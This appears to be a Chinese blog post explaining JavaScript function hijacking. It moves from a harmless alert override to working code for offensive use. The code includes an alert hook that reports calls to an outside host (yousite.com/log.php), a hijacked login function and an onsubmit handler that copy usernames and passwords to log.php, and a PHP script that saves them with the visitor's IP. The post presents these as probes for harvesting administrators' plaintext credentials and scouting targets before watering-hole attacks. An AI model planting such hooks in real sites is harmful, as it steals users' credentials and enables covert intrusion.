JavaScript 函數(shù)劫持攻擊原理
JavaScript 函數(shù)劫持并不是什么新穎的技術(shù)了。這兩天在和同事吹牛的過程中提到了這個,就簡單地再回顧回顧,以及假想在攻防的運用場景。
JavaScript 函數(shù)劫持(javascript hijacking)簡介
一個簡單的示例如下,主要邏輯就是,用變量 _alert保存原函數(shù) alert,然后重寫 alert 函數(shù),在重寫的函數(shù)最后調(diào)用原函數(shù)。這樣得到的一個效果就是調(diào)用 alert 的時候,可以往 alert 中加入其它操作。比如如下代碼中進行一個賦值。
- <script type="text/javascript">
- var _alert = alert;
- alert = function(){
- var str = "啥也不是";
- _alert(str);
- }
- alert();
- </script>
日志記錄
這種編程技巧常用于開發(fā)中的日志收集與格式化。既然可以劫持函數(shù)加入自己的操作,那么就可以在比較隱蔽的執(zhí)行一些猥瑣的操作。比如:
https://wiki.jikexueyuan.com/project/brief-talk-js/function-hijacking.html
一文中提到的通過 Hook alert 函數(shù)來記錄調(diào)用情況,或者彈一些警告信息,這樣就可以記錄到測試者的網(wǎng)絡(luò)出口ip、瀏覽器指紋等信息也加上,沒準就是日后的呈堂證供。
- <script type="text/javascript">
- function log(s) {
- var img = new Image();
- imgimg.style.width = img.style.height = 0;
- img.src = "http://yousite.com/log.php?caller=" + encodeURIComponent(s);
- }
- var _alert = alert;
- window.alert = function(s) {
- log(alert.caller);
- _alert(s);
- }
- </script>
探針
在某些場景下,比如:已有權(quán)限,但是數(shù)據(jù)庫中密碼是加密的,無法解開。又或者需要探測目標人員訪問此網(wǎng)站的規(guī)律。此時就可以利用劫持登錄函數(shù)來記錄明文的賬號密碼。如下示例:
onclick 事件會調(diào)用 login 函數(shù)發(fā)送請求包:
- <form id="form1">
- <input type="text" id="username" name="username"/><br>
- <input type="password" id = "password" name="password"/><br>
- <button id="submit" onclick="login()">submit</button><br>
- </form>
- <script>
- function login(){
- var username = document.getElementById("username").value;
- var password = document.getElementById("password").value;
- $.ajax({
- url:"login.php",
- type:"POST",
- data:{
- "username":username,
- "password":password
- },
- success:function(){
- alert(1);
- },
- error:function(){
- alert("error");
- }
- });
- }
- </script>
可以劫持 login 函數(shù),在發(fā)送登陸請求前,先發(fā)到探針文件中做一些記錄帳號密碼等操作。
- var _login=login;
- login = function (){
- var username = document.getElementById("username").value;
- var password = document.getElementById("password").value;
- $.ajax({
- url:"log.php",
- type:"POST",
- data:{
- "username":username,
- "password":password
- },
- success:console.log("1"),
- error:function(){
- alert("error");
- }
- });
- }
log.php 的內(nèi)容如下:
- <?php
- $username = $_POST["username"];
- $password = $_POST["password"];
- $ip = $_SERVER['REMOTE_ADDR'];
- file_put_contents("./log.txt",$username." ".$password." ".$ip);
也許在實際中更常見的表單形式應(yīng)該是下面這種。
- <form id="form1" method="POST" action=“login.php”>
- <input type="text" id="username" name="username"/><br>
- <input type="password" id = "password" name="password"/><br>
- <input type="submit" id="submit" name="submit"/><br>
- </form>
這種表單也可以通過小小的改動,很簡單的記錄到信息,下面使用的是 onsubmit 事件,用如下方式即可:
- <script src="http://lib.sinaapp.com/js/jquery/1.7.2/jquery.min.js"> </script>
- <body>
- <form id="form1" method="POST" action=“login.php” onsubmit="return _login()">
- <input type="text" id="username" name="username"/><br>
- <input type="password" id = "password" name="password"/><br>
- <input type="submit" id="submit" name="submit"/><br>
- </form>
- <script>
- function _login(){
- var username = document.getElementById("username").value;
- var password = document.getElementById("password").value;
- $.ajax({
- url:"log.php",
- type:"POST",
- data:{
- "username":username,
- "password":password
- },
- success:true,
- error:true
- });
- }
- </script>
不僅可以記錄密碼,還可以結(jié)合前面提到的記錄日志,來記錄管理員的登錄時間、IP、UA 和瀏覽器指紋等信息。這種探針常用于布置水坑攻擊前針對人員登錄情況的信息收集,根據(jù)收集的信息制定具體的水坑方案。